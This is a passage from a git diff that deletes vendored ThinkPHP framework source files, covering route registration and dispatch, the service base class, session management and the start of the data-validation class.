= false; - - public function __construct(App $app) - { - $this->app = $app; - $this->ruleName = new RuleName(); - $this->setDefaultDomain(); - - if (is_file($this->app->getRuntimePath() . 'route.php')) { - // 读取路由映射文件 - $this->import(include $this->app->getRuntimePath() . 'route.php'); - } - - $this->config = array_merge($this->config, $this->app->config->get('route')); - } - - protected function init() - { - if (!empty($this->config['middleware'])) { - $this->app->middleware->import($this->config['middleware'], 'route'); - } - - $this->lazy($this->config['url_lazy_route']); - $this->mergeRuleRegex = $this->config['route_rule_merge']; - $this->removeSlash = $this->config['remove_slash']; - - $this->group->removeSlash($this->removeSlash); - } - - public function config(string $name = null) - { - if (is_null($name)) { - return $this->config; - } - - return $this->config[$name] ?? null; - } - - /** - * 设置路由域名及分组(包括资源路由)是否延迟解析 - * @access public - * @param bool $lazy 路由是否延迟解析 - * @return $this - */ - public function lazy(bool $lazy = true) - { - $this->lazy = $lazy; - return $this; - } - - /** - * 设置路由为测试模式 - * @access public - * @param bool $test 路由是否测试模式 - * @return void - */ - public function setTestMode(bool $test): void - { - $this->isTest = $test; - } - - /** - * 检查路由是否为测试模式 - * @access public - * @return bool - */ - public function isTest(): bool - { - return $this->isTest; - } - - /** - * 设置路由域名及分组(包括资源路由)是否合并解析 - * @access public - * @param bool $merge 路由是否合并解析 - * @return $this - */ - public function mergeRuleRegex(bool $merge = true) - { - $this->mergeRuleRegex = $merge; - $this->group->mergeRuleRegex($merge); - - return $this; - } - - /** - * 初始化默认域名 - * @access protected - * @return void - */ - protected function setDefaultDomain(): void - { - // 注册默认域名 - $domain = new Domain($this); - - $this->domains['-'] = $domain; - - // 默认分组 - $this->group = $domain; - } - - /** - * 设置当前分组 - * @access public - * @param RuleGroup $group 域名 - * @return void - */ - public function setGroup(RuleGroup $group): void - { - $this->group = $group; - } - - /** - * 获取指定标识的路由分组 不指定则获取当前分组 - * @access public - * @param string $name 分组标识 - * @return RuleGroup - */ - public function getGroup(string $name = null) - { - return $name ? $this->ruleName->getGroup($name) : $this->group; - } - - /** - * 注册变量规则 - * @access public - * @param array $pattern 变量规则 - * @return $this - */ - public function pattern(array $pattern) - { - $this->group->pattern($pattern); - - return $this; - } - - /** - * 注册路由参数 - * @access public - * @param array $option 参数 - * @return $this - */ - public function option(array $option) - { - $this->group->option($option); - - return $this; - } - - /** - * 注册域名路由 - * @access public - * @param string|array $name 子域名 - * @param mixed $rule 路由规则 - * @return Domain - */ - public function domain($name, $rule = null): Domain - { - // 支持多个域名使用相同路由规则 - $domainName = is_array($name) ? array_shift($name) : $name; - - if (!isset($this->domains[$domainName])) { - $domain = (new Domain($this, $domainName, $rule)) - ->lazy($this->lazy) - ->removeSlash($this->removeSlash) - ->mergeRuleRegex($this->mergeRuleRegex); - - $this->domains[$domainName] = $domain; - } else { - $domain = $this->domains[$domainName]; - $domain->parseGroupRule($rule); - } - - if (is_array($name) && !empty($name)) { - foreach ($name as $item) { - $this->domains[$item] = $domainName; - } - } - - // 返回域名对象 - return $domain; - } - - /** - * 获取域名 - * @access public - * @return array - */ - public function getDomains(): array - { - return $this->domains; - } - - /** - * 获取RuleName对象 - * @access public - * @return RuleName - */ - public function getRuleName(): RuleName - { - return $this->ruleName; - } - - /** - * 设置路由绑定 - * @access public - * @param string $bind 绑定信息 - * @param string $domain 域名 - * @return $this - */ - public function bind(string $bind, string $domain = null) - { - $domain = is_null($domain) ? '-' : $domain; - - $this->bind[$domain] = $bind; - - return $this; - } - - /** - * 读取路由绑定信息 - * @access public - * @return array - */ - public function getBind(): array - { - return $this->bind; - } - - /** - * 读取路由绑定 - * @access public - * @param string $domain 域名 - * @return string|null - */ - public function getDomainBind(string $domain = null) - { - if (is_null($domain)) { - $domain = $this->host; - } elseif (false === strpos($domain, '.') && $this->request) { - $domain .= '.' . $this->request->rootDomain(); - } - - if ($this->request) { - $subDomain = $this->request->subDomain(); - - if (strpos($subDomain, '.')) { - $name = '*' . strstr($subDomain, '.'); - } - } - - if (isset($this->bind[$domain])) { - $result = $this->bind[$domain]; - } elseif (isset($name) && isset($this->bind[$name])) { - $result = $this->bind[$name]; - } elseif (!empty($subDomain) && isset($this->bind['*'])) { - $result = $this->bind['*']; - } else { - $result = null; - } - - return $result; - } - - /** - * 读取路由标识 - * @access public - * @param string $name 路由标识 - * @param string $domain 域名 - * @param string $method 请求类型 - * @return array - */ - public function getName(string $name = null, string $domain = null, string $method = '*'): array - { - return $this->ruleName->getName($name, $domain, $method); - } - - /** - * 批量导入路由标识 - * @access public - * @param array $name 路由标识 - * @return void - */ - public function import(array $name): void - { - $this->ruleName->import($name); - } - - /** - * 注册路由标识 - * @access public - * @param string $name 路由标识 - * @param RuleItem $ruleItem 路由规则 - * @param bool $first 是否优先 - * @return void - */ - public function setName(string $name, RuleItem $ruleItem, bool $first = false): void - { - $this->ruleName->setName($name, $ruleItem, $first); - } - - /** - * 保存路由规则 - * @access public - * @param string $rule 路由规则 - * @param RuleItem $ruleItem RuleItem对象 - * @return void - */ - public function setRule(string $rule, RuleItem $ruleItem = null): void - { - $this->ruleName->setRule($rule, $ruleItem); - } - - /** - * 读取路由 - * @access public - * @param string $rule 路由规则 - * @return RuleItem[] - */ - public function getRule(string $rule): array - { - return $this->ruleName->getRule($rule); - } - - /** - * 读取路由列表 - * @access public - * @return array - */ - public function getRuleList(): array - { - return $this->ruleName->getRuleList(); - } - - /** - * 清空路由规则 - * @access public - * @return void - */ - public function clear(): void - { - $this->ruleName->clear(); - - if ($this->group) { - $this->group->clear(); - } - } - - /** - * 注册路由规则 - * @access public - * @param string $rule 路由规则 - * @param mixed $route 路由地址 - * @param string $method 请求类型 - * @return RuleItem - */ - public function rule(string $rule, $route = null, string $method = '*'): RuleItem - { - if ($route instanceof Response) { - // 兼容之前的路由到响应对象,感觉不需要,使用场景很少,闭包就能实现 - $route = function () use ($route) { - return $route; - }; - } - return $this->group->addRule($rule, $route, $method); - } - - /** - * 设置跨域有效路由规则 - * @access public - * @param Rule $rule 路由规则 - * @param string $method 请求类型 - * @return $this - */ - public function setCrossDomainRule(Rule $rule, string $method = '*') - { - if (!isset($this->cross)) { - $this->cross = (new RuleGroup($this))->mergeRuleRegex($this->mergeRuleRegex); - } - - $this->cross->addRuleItem($rule, $method); - - return $this; - } - - /** - * 注册路由分组 - * @access public - * @param string|\Closure $name 分组名称或者参数 - * @param mixed $route 分组路由 - * @return RuleGroup - */ - public function group($name, $route = null): RuleGroup - { - if ($name instanceof Closure) { - $route = $name; - $name = ''; - } - - return (new RuleGroup($this, $this->group, $name, $route)) - ->lazy($this->lazy) - ->removeSlash($this->removeSlash) - ->mergeRuleRegex($this->mergeRuleRegex); - } - - /** - * 注册路由 - * @access public - * @param string $rule 路由规则 - * @param mixed $route 路由地址 - * @return RuleItem - */ - public function any(string $rule, $route): RuleItem - { - return $this->rule($rule, $route, '*'); - } - - /** - * 注册GET路由 - * @access public - * @param string $rule 路由规则 - * @param mixed $route 路由地址 - * @return RuleItem - */ - public function get(string $rule, $route): RuleItem - { - return $this->rule($rule, $route, 'GET'); - } - - /** - * 注册POST路由 - * @access public - * @param string $rule 路由规则 - * @param mixed $route 路由地址 - * @return RuleItem - */ - public function post(string $rule, $route): RuleItem - { - return $this->rule($rule, $route, 'POST'); - } - - /** - * 注册PUT路由 - * @access public - * @param string $rule 路由规则 - * @param mixed $route 路由地址 - * @return RuleItem - */ - public function put(string $rule, $route): RuleItem - { - return $this->rule($rule, $route, 'PUT'); - } - - /** - * 注册DELETE路由 - * @access public - * @param string $rule 路由规则 - * @param mixed $route 路由地址 - * @return RuleItem - */ - public function delete(string $rule, $route): RuleItem - { - return $this->rule($rule, $route, 'DELETE'); - } - - /** - * 注册PATCH路由 - * @access public - * @param string $rule 路由规则 - * @param mixed $route 路由地址 - * @return RuleItem - */ - public function patch(string $rule, $route): RuleItem - { - return $this->rule($rule, $route, 'PATCH'); - } - - /** - * 注册OPTIONS路由 - * @access public - * @param string $rule 路由规则 - * @param mixed $route 路由地址 - * @return RuleItem - */ - public function options(string $rule, $route): RuleItem - { - return $this->rule($rule, $route, 'OPTIONS'); - } - - /** - * 注册资源路由 - * @access public - * @param string $rule 路由规则 - * @param string $route 路由地址 - * @return Resource - */ - public function resource(string $rule, string $route): Resource - { - return (new Resource($this, $this->group, $rule, $route, $this->rest)) - ->lazy($this->lazy); - } - - /** - * 注册视图路由 - * @access public - * @param string $rule 路由规则 - * @param string $template 路由模板地址 - * @param array $vars 模板变量 - * @return RuleItem - */ - public function view(string $rule, string $template = '', array $vars = []): RuleItem - { - return $this->rule($rule, function () use ($vars, $template) { - return Response::create($template, 'view')->assign($vars); - }, 'GET'); - } - - /** - * 注册重定向路由 - * @access public - * @param string $rule 路由规则 - * @param string $route 路由地址 - * @param int $status 状态码 - * @return RuleItem - */ - public function redirect(string $rule, string $route = '', int $status = 301): RuleItem - { - return $this->rule($rule, function (Request $request) use ($status, $route) { - $search = $replace = []; - $matches = $request->rule()->getVars(); - - foreach ($matches as $key => $value) { - $search[] = '<' . $key . '>'; - $replace[] = $value; - - $search[] = ':' . $key; - $replace[] = $value; - } - - $route = str_replace($search, $replace, $route); - return Response::create($route, 'redirect')->code($status); - }, '*'); - } - - /** - * rest方法定义和修改 - * @access public - * @param string|array $name 方法名称 - * @param array|bool $resource 资源 - * @return $this - */ - public function rest($name, $resource = []) - { - if (is_array($name)) { - $this->rest = $resource ? $name : array_merge($this->rest, $name); - } else { - $this->rest[$name] = $resource; - } - - return $this; - } - - /** - * 获取rest方法定义的参数 - * @access public - * @param string $name 方法名称 - * @return array|null - */ - public function getRest(string $name = null) - { - if (is_null($name)) { - return $this->rest; - } - - return $this->rest[$name] ?? null; - } - - /** - * 注册未匹配路由规则后的处理 - * @access public - * @param string|Closure $route 路由地址 - * @param string $method 请求类型 - * @return RuleItem - */ - public function miss($route, string $method = '*'): RuleItem - { - return $this->group->miss($route, $method); - } - - /** - * 路由调度 - * @param Request $request - * @param Closure|bool $withRoute - * @return Response - */ - public function dispatch(Request $request, $withRoute = true) - { - $this->request = $request; - $this->host = $this->request->host(true); - $this->init(); - - if ($withRoute) { - //加载路由 - if ($withRoute instanceof Closure) { - $withRoute(); - } - $dispatch = $this->check(); - } else { - $dispatch = $this->url($this->path()); - } - - $dispatch->init($this->app); - - return $this->app->middleware->pipeline('route') - ->send($request) - ->then(function () use ($dispatch) { - return $dispatch->run(); - }); - } - - /** - * 检测URL路由 - * @access public - * @return Dispatch|false - * @throws RouteNotFoundException - */ - public function check() - { - // 自动检测域名路由 - $url = str_replace($this->config['pathinfo_depr'], '|', $this->path()); - - $completeMatch = $this->config['route_complete_match']; - - $result = $this->checkDomain()->check($this->request, $url, $completeMatch); - - if (false === $result && !empty($this->cross)) { - // 检测跨域路由 - $result = $this->cross->check($this->request, $url, $completeMatch); - } - - if (false !== $result) { - return $result; - } elseif ($this->config['url_route_must']) { - throw new RouteNotFoundException(); - } - - return $this->url($url); - } - - /** - * 获取当前请求URL的pathinfo信息(不含URL后缀) - * @access protected - * @return string - */ - protected function path(): string - { - $suffix = $this->config['url_html_suffix']; - $pathinfo = $this->request->pathinfo(); - - if (false === $suffix) { - // 禁止伪静态访问 - $path = $pathinfo; - } elseif ($suffix) { - // 去除正常的URL后缀 - $path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo); - } else { - // 允许任何后缀访问 - $path = preg_replace('/\.' . $this->request->ext() . '$/i', '', $pathinfo); - } - - return $path; - } - - /** - * 默认URL解析 - * @access public - * @param string $url URL地址 - * @return Dispatch - */ - public function url(string $url): Dispatch - { - if ($this->request->method() == 'OPTIONS') { - // 自动响应options请求 - return new Callback($this->request, $this->group, function () { - return Response::create('', 'html', 204)->header(['Allow' => 'GET, POST, PUT, DELETE']); - }); - } - - return new UrlDispatch($this->request, $this->group, $url); - } - - /** - * 检测域名的路由规则 - * @access protected - * @return Domain - */ - protected function checkDomain(): Domain - { - $item = false; - - if (count($this->domains) > 1) { - // 获取当前子域名 - $subDomain = $this->request->subDomain(); - - $domain = $subDomain ? explode('.', $subDomain) : []; - $domain2 = $domain ? array_pop($domain) : ''; - - if ($domain) { - // 存在三级域名 - $domain3 = array_pop($domain); - } - - if (isset($this->domains[$this->host])) { - // 子域名配置 - $item = $this->domains[$this->host]; - } elseif (isset($this->domains[$subDomain])) { - $item = $this->domains[$subDomain]; - } elseif (isset($this->domains['*.' . $domain2]) && !empty($domain3)) { - // 泛三级域名 - $item = $this->domains['*.' . $domain2]; - $panDomain = $domain3; - } elseif (isset($this->domains['*']) && !empty($domain2)) { - // 泛二级域名 - if ('www' != $domain2) { - $item = $this->domains['*']; - $panDomain = $domain2; - } - } - - if (isset($panDomain)) { - // 保存当前泛域名 - $this->request->setPanDomain($panDomain); - } - } - - if (false === $item) { - // 检测全局域名规则 - $item = $this->domains['-']; - } - - if (is_string($item)) { - $item = $this->domains[$item]; - } - - return $item; - } - - /** - * URL生成 支持路由反射 - * @access public - * @param string $url 路由地址 - * @param array $vars 参数 ['a'=>'val1', 'b'=>'val2'] - * @return UrlBuild - */ - public function buildUrl(string $url = '', array $vars = []): UrlBuild - { - return $this->app->make(UrlBuild::class, [$this, $this->app, $url, $vars], true); - } - - /** - * 设置全局的路由分组参数 - * @access public - * @param string $method 方法名 - * @param array $args 调用参数 - * @return RuleGroup - */ - public function __call($method, $args) - { - return call_user_func_array([$this->group, $method], $args); - } -} diff --git a/vendor/topthink/framework/src/think/Service.php b/vendor/topthink/framework/src/think/Service.php deleted file mode 100644 index 68c6789..0000000 --- a/vendor/topthink/framework/src/think/Service.php +++ /dev/null @@ -1,66 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think; - -use Closure; -use think\event\RouteLoaded; - -/** - * 系统服务基础类 - * @method void register() - * @method void boot() - */ -abstract class Service -{ - protected $app; - - public function __construct(App $app) - { - $this->app = $app; - } - - /** - * 加载路由 - * @access protected - * @param string $path 路由路径 - */ - protected function loadRoutesFrom($path) - { - $this->registerRoutes(function () use ($path) { - include $path; - }); - } - - /** - * 注册路由 - * @param Closure $closure - */ - protected function registerRoutes(Closure $closure) - { - $this->app->event->listen(RouteLoaded::class, $closure); - } - - /** - * 添加指令 - * @access protected - * @param array|string $commands 指令 - */ - protected function commands($commands) - { - $commands = is_array($commands) ? $commands : func_get_args(); - - Console::starting(function (Console $console) use ($commands) { - $console->addCommands($commands); - }); - } -} diff --git a/vendor/topthink/framework/src/think/Session.php b/vendor/topthink/framework/src/think/Session.php deleted file mode 100644 index c344f0b..0000000 --- a/vendor/topthink/framework/src/think/Session.php +++ /dev/null @@ -1,65 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think; - -use think\helper\Arr; -use think\session\Store; - -/** - * Session管理类 - * @package think - * @mixin Store - */ -class Session extends Manager -{ - protected $namespace = '\\think\\session\\driver\\'; - - protected function createDriver(string $name) - { - $handler = parent::createDriver($name); - - return new Store($this->getConfig('name') ?: 'PHPSESSID', $handler, $this->getConfig('serialize')); - } - - /** - * 获取Session配置 - * @access public - * @param null|string $name 名称 - * @param mixed $default 默认值 - * @return mixed - */ - public function getConfig(string $name = null, $default = null) - { - if (!is_null($name)) { - return $this->app->config->get('session.' . $name, $default); - } - - return $this->app->config->get('session'); - } - - protected function resolveConfig(string $name) - { - $config = $this->app->config->get('session', []); - Arr::forget($config, 'type'); - return $config; - } - - /** - * 默认驱动 - * @return string|null - */ - public function getDefaultDriver() - { - return $this->app->config->get('session.type', 'file'); - } -} diff --git a/vendor/topthink/framework/src/think/Validate.php b/vendor/topthink/framework/src/think/Validate.php deleted file mode 100644 index 10428c6..0000000 --- a/vendor/topthink/framework/src/think/Validate.php +++ /dev/null @@ -1,1683 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think; - -use Closure; -use think\exception\ValidateException; -use think\helper\Str; -use think\validate\ValidateRule; - -/** - * 数据验证类 - * @package think - */ -class Validate -{ - /** - * 自定义验证类型 - * @var array - */ - protected $type = []; - - /** - * 验证类型别名 - * @var array - */ - protected $alias = [ - '>' => 'gt', '>=' => 'egt', '<' => 'lt', '<=' => 'elt', '=' => 'eq', 'same' => 'eq', - ]; - - /** - * 当前验证规则 - * @var array - */ - protected $rule = []; - - /** - * 验证提示信息 - * @var array - */ - protected $message = []; - - /** - * 验证字段描述 - * @var array - */ - protected $field = []; - - /** - * 默认规则提示 - * @var array - */ - protected $typeMsg = [ - 'require' => ':attribute require', - 'must' => ':attribute must', - 'number' => ':attribute must be numeric', - 'integer' => ':attribute must be integer', - 'float' => ':attribute must be float', - 'boolean' => ':attribute must be bool', - 'email' => ':attribute not a valid email address', - 'mobile' => ':attribute not a valid mobile', - 'array' => ':attribute must be a array', - 'accepted' => ':attribute must be yes,on or 1', - 'date' => ':attribute not a valid datetime', - 'file' => ':attribute not a valid file', - 'image' => ':attribute not a valid image', - 'alpha' => ':attribute must be alpha', - 'alphaNum' => ':attribute must be alpha-numeric', - 'alphaDash' => ':attribute must be alpha-numeric, dash, underscore', - 'activeUrl' => ':attribute not a valid domain or ip', - 'chs' => ':attribute must be chinese', - 'chsAlpha' => ':attribute must be chinese or alpha', - 'chsAlphaNum' => ':attribute must be chinese,alpha-numeric', - 'chsDash' => ':attribute must be chinese,alpha-numeric,underscore, dash', - 'url' => ':attribute not a valid url', - 'ip' => ':attribute not a valid ip', - 'dateFormat' => ':attribute must be dateFormat of :rule', - 'in' => ':attribute must be in :rule', - 'notIn' => ':attribute be notin :rule', - 'between' => ':attribute must between :1 - :2', - 'notBetween' => ':attribute not between :1 - :2', - 'length' => 'size of :attribute must be :rule', - 'max' => 'max size of :attribute must be :rule', - 'min' => 'min size of :attribute must be :rule', - 'after' => ':attribute cannot be less than :rule', - 'before' => ':attribute cannot exceed :rule', - 'expire' => ':attribute not within :rule', - 'allowIp' => 'access IP is not allowed', - 'denyIp' => 'access IP denied', - 'confirm' => ':attribute out of accord with :2', - 'different' => ':attribute cannot be same with :2', - 'egt' => ':attribute must greater than or equal :rule', - 'gt' => ':attribute must greater than :rule', - 'elt' => ':attribute must less than or equal :rule', - 'lt' => ':attribute must less than :rule', - 'eq' => ':attribute must equal :rule', - 'unique' => ':attribute has exists', - 'regex' => ':attribute not conform to the rules', - 'method' => 'invalid Request method', - 'token' => 'invalid token', - 'fileSize' => 'filesize not match', - 'fileExt' => 'extensions to upload is not allowed', - 'fileMime' => 'mimetype to upload is not allowed', - ]; - - /** - * 当前验证场景 - * @var string - */ - protected $currentScene; - - /** - * 内置正则验证规则 - * @var array - */ - protected $defaultRegex = [ - 'alpha' => '/^[A-Za-z]+$/', - 'alphaNum' => '/^[A-Za-z0-9]+$/', - 'alphaDash' => '/^[A-Za-z0-9\-\_]+$/', - 'chs' => '/^[\x{4e00}-\x{9fa5}]+$/u', - 'chsAlpha' => '/^[\x{4e00}-\x{9fa5}a-zA-Z]+$/u', - 'chsAlphaNum' => '/^[\x{4e00}-\x{9fa5}a-zA-Z0-9]+$/u', - 'chsDash' => '/^[\x{4e00}-\x{9fa5}a-zA-Z0-9\_\-]+$/u', - 'mobile' => '/^1[3-9]\d{9}$/', - 'idCard' => '/(^[1-9]\d{5}(18|19|([23]\d))\d{2}((0[1-9])|(10|11|12))(([0-2][1-9])|10|20|30|31)\d{3}[0-9Xx]$)|(^[1-9]\d{5}\d{2}((0[1-9])|(10|11|12))(([0-2][1-9])|10|20|30|31)\d{3}$)/', - 'zip' => '/\d{6}/', - ]; - - /** - * Filter_var 规则 - * @var array - */ - protected $filter = [ - 'email' => FILTER_VALIDATE_EMAIL, - 'ip' => [FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_IPV6], - 'integer' => FILTER_VALIDATE_INT, - 'url' => FILTER_VALIDATE_URL, - 'macAddr' => FILTER_VALIDATE_MAC, - 'float' => FILTER_VALIDATE_FLOAT, - ]; - - /** - * 验证场景定义 - * @var array - */ - protected $scene = []; - - /** - * 验证失败错误信息 - * @var string|array - */ - protected $error = []; - - /** - * 是否批量验证 - * @var bool - */ - protected $batch = false; - - /** - * 验证失败是否抛出异常 - * @var bool - */ - protected $failException = false; - - /** - * 场景需要验证的规则 - * @var array - */ - protected $only = []; - - /** - * 场景需要移除的验证规则 - * @var array - */ - protected $remove = []; - - /** - * 场景需要追加的验证规则 - * @var array - */ - protected $append = []; - - /** - * 验证正则定义 - * @var array - */ - protected $regex = []; - - /** - * Db对象 - * @var Db - */ - protected $db; - - /** - * 语言对象 - * @var Lang - */ - protected $lang; - - /** - * 请求对象 - * @var Request - */ - protected $request; - - /** - * @var Closure[] - */ - protected static $maker = []; - - /** - * 构造方法 - * @access public - */ - public function __construct() - { - if (!empty(static::$maker)) { - foreach (static::$maker as $maker) { - call_user_func($maker, $this); - } - } - } - - /** - * 设置服务注入 - * @access public - * @param Closure $maker - * @return void - */ - public static function maker(Closure $maker) - { - static::$maker[] = $maker; - } - - /** - * 设置Lang对象 - * @access public - * @param Lang $lang Lang对象 - * @return void - */ - public function setLang(Lang $lang) - { - $this->lang = $lang; - } - - /** - * 设置Db对象 - * @access public - * @param Db $db Db对象 - * @return void - */ - public function setDb(Db $db) - { - $this->db = $db; - } - - /** - * 设置Request对象 - * @access public - * @param Request $request Request对象 - * @return void - */ - public function setRequest(Request $request) - { - $this->request = $request; - } - - /** - * 添加字段验证规则 - * @access protected - * @param string|array $name 字段名称或者规则数组 - * @param mixed $rule 验证规则或者字段描述信息 - * @return $this - */ - public function rule($name, $rule = '') - { - if (is_array($name)) { - $this->rule = $name + $this->rule; - if (is_array($rule)) { - $this->field = array_merge($this->field, $rule); - } - } else { - $this->rule[$name] = $rule; - } - - return $this; - } - - /** - * 注册验证(类型)规则 - * @access public - * @param string $type 验证规则类型 - * @param callable $callback callback方法(或闭包) - * @param string $message 验证失败提示信息 - * @return $this - */ - public function extend(string $type, callable $callback = null, string $message = null) - { - $this->type[$type] = $callback; - - if ($message) { - $this->typeMsg[$type] = $message; - } - - return $this; - } - - /** - * 设置验证规则的默认提示信息 - * @access public - * @param string|array $type 验证规则类型名称或者数组 - * @param string $msg 验证提示信息 - * @return void - */ - public function setTypeMsg($type, string $msg = null): void - { - if (is_array($type)) { - $this->typeMsg = array_merge($this->typeMsg, $type); - } else { - $this->typeMsg[$type] = $msg; - } - } - - /** - * 设置提示信息 - * @access public - * @param array $message 错误信息 - * @return Validate - */ - public function message(array $message) - { - $this->message = array_merge($this->message, $message); - - return $this; - } - - /** - * 设置验证场景 - * @access public - * @param string $name 场景名 - * @return $this - */ - public function scene(string $name) - { - // 设置当前场景 - $this->currentScene = $name; - - return $this; - } - - /** - * 判断是否存在某个验证场景 - * @access public - * @param string $name 场景名 - * @return bool - */ - public function hasScene(string $name): bool - { - return isset($this->scene[$name]) || method_exists($this, 'scene' . $name); - } - - /** - * 设置批量验证 - * @access public - * @param bool $batch 是否批量验证 - * @return $this - */ - public function batch(bool $batch = true) - { - $this->batch = $batch; - - return $this; - } - - /** - * 设置验证失败后是否抛出异常 - * @access protected - * @param bool $fail 是否抛出异常 - * @return $this - */ - public function failException(bool $fail = true) - { - $this->failException = $fail; - - return $this; - } - - /** - * 指定需要验证的字段列表 - * @access public - * @param array $fields 字段名 - * @return $this - */ - public function only(array $fields) - { - $this->only = $fields; - - return $this; - } - - /** - * 移除某个字段的验证规则 - * @access public - * @param string|array $field 字段名 - * @param mixed $rule 验证规则 true 移除所有规则 - * @return $this - */ - public function remove($field, $rule = null) - { - if (is_array($field)) { - foreach ($field as $key => $rule) { - if (is_int($key)) { - $this->remove($rule); - } else { - $this->remove($key, $rule); - } - } - } else { - if (is_string($rule)) { - $rule = explode('|', $rule); - } - - $this->remove[$field] = $rule; - } - - return $this; - } - - /** - * 追加某个字段的验证规则 - * @access public - * @param string|array $field 字段名 - * @param mixed $rule 验证规则 - * @return $this - */ - public function append($field, $rule = null) - { - if (is_array($field)) { - foreach ($field as $key => $rule) { - $this->append($key, $rule); - } - } else { - if (is_string($rule)) { - $rule = explode('|', $rule); - } - - $this->append[$field] = $rule; - } - - return $this; - } - - /** - * 数据自动验证 - * @access public - * @param array $data 数据 - * @param array $rules 验证规则 - * @return bool - */ - public function check(array $data, array $rules = []): bool - { - $this->error = []; - - if ($this->currentScene) { - $this->getScene($this->currentScene); - } - - if (empty($rules)) { - // 读取验证规则 - $rules = $this->rule; - } - - foreach ($this->append as $key => $rule) { - if (!isset($rules[$key])) { - $rules[$key] = $rule; - unset($this->append[$key]); - } - } - - foreach ($rules as $key => $rule) { - // field => 'rule1|rule2...' field => ['rule1','rule2',...] - if (strpos($key, '|')) { - // 字段|描述 用于指定属性名称 - [$key, $title] = explode('|', $key); - } else { - $title = $this->field[$key] ?? $key; - } - - // 场景检测 - if (!empty($this->only) && !in_array($key, $this->only)) { - continue; - } - - // 获取数据 支持二维数组 - $value = $this->getDataValue($data, $key); - - // 字段验证 - if ($rule instanceof Closure) { - $result = call_user_func_array($rule, [$value, $data]); - } elseif ($rule instanceof ValidateRule) { - // 验证因子 - $result = $this->checkItem($key, $value, $rule->getRule(), $data, $rule->getTitle() ?: $title, $rule->getMsg()); - } else { - $result = $this->checkItem($key, $value, $rule, $data, $title); - } - - if (true !== $result) { - // 没有返回true 则表示验证失败 - if (!empty($this->batch)) { - // 批量验证 - $this->error[$key] = $result; - } elseif ($this->failException) { - throw new ValidateException($result); - } else { - $this->error = $result; - return false; - } - } - } - - if (!empty($this->error)) { - if ($this->failException) { - throw new ValidateException($this->error); - } - return false; - } - - return true; - } - - /** - * 根据验证规则验证数据 - * @access public - * @param mixed $value 字段值 - * @param mixed $rules 验证规则 - * @return bool - */ - public function checkRule($value, $rules): bool - { - if ($rules instanceof Closure) { - return call_user_func_array($rules, [$value]); - } elseif ($rules instanceof ValidateRule) { - $rules = $rules->getRule(); - } elseif (is_string($rules)) { - $rules = explode('|', $rules); - } - - foreach ($rules as $key => $rule) { - if ($rule instanceof Closure) { - $result = call_user_func_array($rule, [$value]); - } else { - // 判断验证类型 - [$type, $rule] = $this->getValidateType($key, $rule); - - $callback = $this->type[$type] ?? [$this, $type]; - - $result = call_user_func_array($callback, [$value, $rule]); - } - - if (true !== $result) { - if ($this->failException) { - throw new ValidateException($result); - } - - return $result; - } - } - - return true; - } - - /** - * 验证单个字段规则 - * @access protected - * @param string $field 字段名 - * @param mixed $value 字段值 - * @param mixed $rules 验证规则 - * @param array $data 数据 - * @param string $title 字段描述 - * @param array $msg 提示信息 - * @return mixed - */ - protected function checkItem(string $field, $value, $rules, $data, string $title = '', array $msg = []) - { - if (isset($this->remove[$field]) && true === $this->remove[$field] && empty($this->append[$field])) { - // 字段已经移除 无需验证 - return true; - } - - // 支持多规则验证 require|in:a,b,c|... 或者 ['require','in'=>'a,b,c',...] - if (is_string($rules)) { - $rules = explode('|', $rules); - } - - if (isset($this->append[$field])) { - // 追加额外的验证规则 - $rules = array_unique(array_merge($rules, $this->append[$field]), SORT_REGULAR); - unset($this->append[$field]); - } - - if (empty($rules)) { - return true; - } - - $i = 0; - foreach ($rules as $key => $rule) { - if ($rule instanceof Closure) { - $result = call_user_func_array($rule, [$value, $data]); - $info = is_numeric($key) ? '' : $key; - } else { - // 判断验证类型 - [$type, $rule, $info] = $this->getValidateType($key, $rule); - - if (isset($this->append[$field]) && in_array($info, $this->append[$field])) { - } elseif (isset($this->remove[$field]) && in_array($info, $this->remove[$field])) { - // 规则已经移除 - $i++; - continue; - } - - if (isset($this->type[$type])) { - $result = call_user_func_array($this->type[$type], [$value, $rule, $data, $field, $title]); - } elseif ('must' == $info || 0 === strpos($info, 'require') || (!is_null($value) && '' !== $value)) { - $result = call_user_func_array([$this, $type], [$value, $rule, $data, $field, $title]); - } else { - $result = true; - } - } - - if (false === $result) { - // 验证失败 返回错误信息 - if (!empty($msg[$i])) { - $message = $msg[$i]; - if (is_string($message) && strpos($message, '{%') === 0) { - $message = $this->lang->get(substr($message, 2, -1)); - } - } else { - $message = $this->getRuleMsg($field, $title, $info, $rule); - } - - return $message; - } elseif (true !== $result) { - // 返回自定义错误信息 - if (is_string($result) && false !== strpos($result, ':')) { - $result = str_replace(':attribute', $title, $result); - - if (strpos($result, ':rule') && is_scalar($rule)) { - $result = str_replace(':rule', (string) $rule, $result); - } - } - - return $result; - } - $i++; - } - - return $result ?? true; - } - - /** - * 获取当前验证类型及规则 - * @access public - * @param mixed $key - * @param mixed $rule - * @return array - */ - protected function getValidateType($key, $rule): array - { - // 判断验证类型 - if (!is_numeric($key)) { - if (isset($this->alias[$key])) { - // 判断别名 - $key = $this->alias[$key]; - } - return [$key, $rule, $key]; - } - - if (strpos($rule, ':')) { - [$type, $rule] = explode(':', $rule, 2); - if (isset($this->alias[$type])) { - // 判断别名 - $type = $this->alias[$type]; - } - $info = $type; - } elseif (method_exists($this, $rule)) { - $type = $rule; - $info = $rule; - $rule = ''; - } else { - $type = 'is'; - $info = $rule; - } - - return [$type, $rule, $info]; - } - - /** - * 验证是否和某个字段的值一致 - * @access public - * @param mixed $value 字段值 - * @param mixed $rule 验证规则 - * @param array $data 数据 - * @param string $field 字段名 - * @return bool - */ - public function confirm($value, $rule, array $data = [], string $field = ''): bool - { - if ('' == $rule) { - if (strpos($field, '_confirm')) { - $rule = strstr($field, '_confirm', true); - } else { - $rule = $field . '_confirm'; - } - } - - return $this->getDataValue($data, $rule) === $value; - } - - /** - * 验证是否和某个字段的值是否不同 - * @access public - * @param mixed $value 字段值 - * @param mixed $rule 验证规则 - * @param array $data 数据 - * @return bool - */ - public function different($value, $rule, array $data = []): bool - { - return $this->getDataValue($data, $rule) != $value; - } - - /** - * 验证是否大于等于某个值 - * @access public - * @param mixed 